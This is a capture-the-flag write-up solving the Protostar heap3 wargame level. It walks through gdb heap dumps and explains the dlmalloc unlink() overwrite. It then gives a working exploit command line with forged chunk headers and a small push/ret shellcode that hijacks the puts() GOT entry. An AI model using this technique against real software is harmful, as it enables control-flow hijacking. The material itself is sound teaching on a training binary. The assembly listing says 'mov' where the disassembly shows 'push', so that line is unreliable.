This is the write-up for heap 3 challenge of Protostar wargame. The source code
of the vulnerable program is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>void winner()
{
printf(“that wasn’t too bad now, was it? @ %d\n”, time(NULL));
}int main(int argc, char **argv)
{
char *a, *b, *c;a = malloc(32);
b = malloc(32);
c = malloc(32);strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);free(c);
free(b);
free(a);printf(“dynamite failed?\n”);
}
Initially, I expected it to be a bit harder as the target systems ships with glibc 2.11 which protects against some older attacks.
user@protostar:~/heap3$ /lib/libc.so.6
GNU C Library (Debian EGLIBC 2.11.2-10) stable release version 2.11.2, by Roland McGrath et al.
Copyright (C) 2009 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.4.5.
Compiled on a Linux 2.6.32 system on 2011-01-23.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
For bug reporting instructions, please see:
http://www.debian.org/Bugs/.
But I found out that the binary was statically built against a malloc implementation.
user@protostar:~/heap3$ objdump -d /opt/protostar/bin/heap3 | egrep “(malloc|free).*:”
0804893c <malloc_init_state>:
08048ff2 :
08049824 :
08049a8b <malloc_consolidate>:
0804a44f :
0804a491 <independent_comalloc>:
0804a7c5 <malloc_trim>:
0804a7f1 <malloc_usable_size>:
0804a9df <malloc_stats>:
And given that the author says in the level’s description “This level introduces the Doug Lea Malloc (dlmalloc)…” it became clear that this was an older malloc implementation (which doesn’t protect against unlink() attacks among others.)
This phrack paper by MaXX is a good and well explained introduction on heap overflows. For an overview of how dlmalloc works, this web page by Doug Lea himself provides a high level view.
First, let’s see what happens on the heap with no fuzzy output.
(gdb) break 24
(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC
a is at 0x804c008
b is at 0x804c030
c is at 0x804c058
This is the state of memory before free(c).
(gdb) x/34x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000
This is the state of memory after free(c) and before free(b). Notice the value
of 0x804c058 was set to 0.
(gdb) x/34x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000
This is the state of memory after free(b) and before free(a). Notice that the value
of 0x804c030 memory address was set to 0x0804c050 which is the address of the
next free chunk (the one that was holding c.)
(gdb) x/34x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000
This is the state of memory after free(a). Again, notice the value
of 0x804c030 was set to 0x0804c050 which is the address of the next free chunk.
(gdb) x/34x 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000
Now, with some evil input. We will overwrite the second chunk’s header. We will set the prev_size (first 4 bytes) to -5 and size (following 4 bytes) to -4. We will follow these, with different values for later debugging.
(gdb) run A `python -c “print ‘B’*32 + ‘\xf8\xff\xff\xff’ + ‘\xfc\xff\xff\xff’ + ‘A’*5 + ‘B’*4 + ‘C’*4”` C
(gdb) nextProgram received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c058) at common/malloc.c:3638
3638 common/malloc.c: No such file or directory.
in common/malloc.c
(gdb) x/i $eip
0x80498fd <free+217>: mov %edx,0xc(%eax)
(gdb) i r
eax 0x42424242 1111638594
ecx 0x0 0
edx 0x43434343 1128481603
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6f0 0xbffff6f0
ebp 0xbffff738 0xbffff738
esi 0x0 0
edi 0x0 0
eip 0x80498fd 0x80498fd <free+217>
eflags 0x210202 [ IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Interesting! Ability to write chosen 4 bytes in a memory address of our choice. Total control.
the instruction that segfaults, tries to write the content of edx into [eax+12]. If we want to overwrite the content of puts() entry in GOT with address of winner(), we would do something like this:
BBBB: GOT[puts] - 12
CCCC: @winner()
We get the needed values.
user@protostar:~/heap3$ nm /opt/protostar/bin/heap3 | grep winner
08048864 T winner
user@protostar:~/heap3$ objdump -R /opt/protostar/bin/heap3
0804b128 R_386_JUMP_SLOT puts
Let’s try again.
(gdb) run A `python -c “print ‘B’*32 + ‘\xfb\xff\xff\xff’ + ‘\xfc\xff\xff\xff’+ ‘A’*5 + ‘\x1c\xb1\x04\x08’ + ‘\x64\x88\x04\x08’”` C
(gdb) nextProgram received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638 common/malloc.c: No such file or directory.
in common/malloc.c
(gdb) x/i $eip
0x8049906 <free+226>: mov %edx,0x8(%eax)
(gdb) i r
eax 0x8048864 134514788
ecx 0x0 0
edx 0x804b11c 134525212
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6f0 0xbffff6f0
ebp 0xbffff738 0xbffff738
esi 0x0 0
edi 0x0 0
eip 0x8049906 0x8049906 <free+226>
eflags 0x210202 [ IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Another segfault! We made some progress though, as the responsible instruction is trying to copy GOT[puts]-12 into the address of winner() + 8. The later is in .text section which is read-only. We will have to write a shellcode and jump into it instead. But before jumping (pun intended) into that, some explanations are needed.
First, why size == -4 ? when free(c) is called, it will check whether the chunk located before c (in this case b) is unused. If this is the case, it will be taken off the doubly-linked list using the unlink() macro. Remember how to delete an element from a doubly-linked list and look at how The unlink() is defined.
#define unlink( P, BK, FD ) { \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}
The negative size of -4 (which has the PREV_INUSE bit unset) means that the next contiguous will be looked for 4 bytes backward from the start of the b
chunk. The phrack paper does a good job in explaining all the details of the algorithm.
Now with the exploit.
user@protostar:~/heap3$ /opt/protostar/bin/heap3 `python -c “print ‘A’*4+’\x68\x64\x88\x04\x08\xc3’”` `python -c “print ‘A’*32+’\xf9\xff\xff\xff’+’\xfc\xff\xff\xff’+‘AAAAAAA’+’\x1c\xb1\x04\x08’+’\x0c\xc0\x04\x08’”` C
that wasn’t too bad now, was it? @ 1357404470
How does this work ? This time, we will ovewrrite puts()’s GOT entry with the
address of the first buffer + 4 bytes. At the first buffer, we will insert 4
filler bytes + our small shellcode which is a push @winner() / ret. The 4
padding bytes are there to escape the free(a)’s writing the address of the next
free chunk.
user@protostar:~/heap3$ cat pushret.asm
mov 0x08048864, eax
ret
user@protostar:~/heap3$ objdump -d pushret.opushret.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: 68 64 88 04 08 push $0x8048864
5: c3 ret
Given that our shellcode is small (6 bytes), we won’t need a relative jump over the 0x0804b11c that is written 8 bytes further up (by BK->fd = FD; instruction).
(gdb) x/36wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x04886468
0x804c010: 0x0000c308 0x0804b11c 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x41414141 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x41414141 0xfffffff5
0x804c050: 0xfffffff8 0xfffffffc 0xf5410043 0x94ffffff
0x804c060: 0x940804b1 0x000804b1 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
And that is it with the heap challenges.